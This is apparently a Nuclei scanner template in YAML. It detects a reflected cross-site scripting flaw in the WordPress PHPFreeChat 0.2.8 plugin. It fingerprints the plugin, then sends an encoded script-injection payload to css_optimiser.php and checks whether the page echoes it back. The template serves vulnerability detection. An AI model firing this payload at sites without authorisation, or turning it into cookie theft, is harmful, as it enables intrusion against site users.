52 lines
1.7 KiB
YAML
52 lines
1.7 KiB
YAML
id: wp-phpfreechat-xss
|
|
|
|
info:
|
|
name: WordPress PHPFreeChat 0.2.8 - Cross-Site Scripting
|
|
author: daffainfo
|
|
severity: high
|
|
description: WordPress PHPFreeChat 0.2.8 plugin contains a cross-site scripting vulnerability via the url parameter. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/37485
|
|
- http://web.archive.org/web/20210120061848/https://www.securityfocus.com/bid/54332/info
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
cvss-score: 7.2
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
max-request: 1
|
|
tags: xss,wp-plugin,edb,wordpress
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
internal: true
|
|
words:
|
|
- '/wp-content/plugins/phpfreechat/'
|
|
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-content/plugins/phpfreechat/lib/csstidy-1.2/css_optimiser.php?url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
part: body
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502207bee58ecb5f8988c2df3c9e8ae9cec4b378a7faa809f9ce3c47d227e135b4f3b022100b2cc6b39cf0f5dbc435d89a3abfde4882999f26885b02e45ca50d65beaa3753e:922c64590222798bb761d5b6d8e72950 |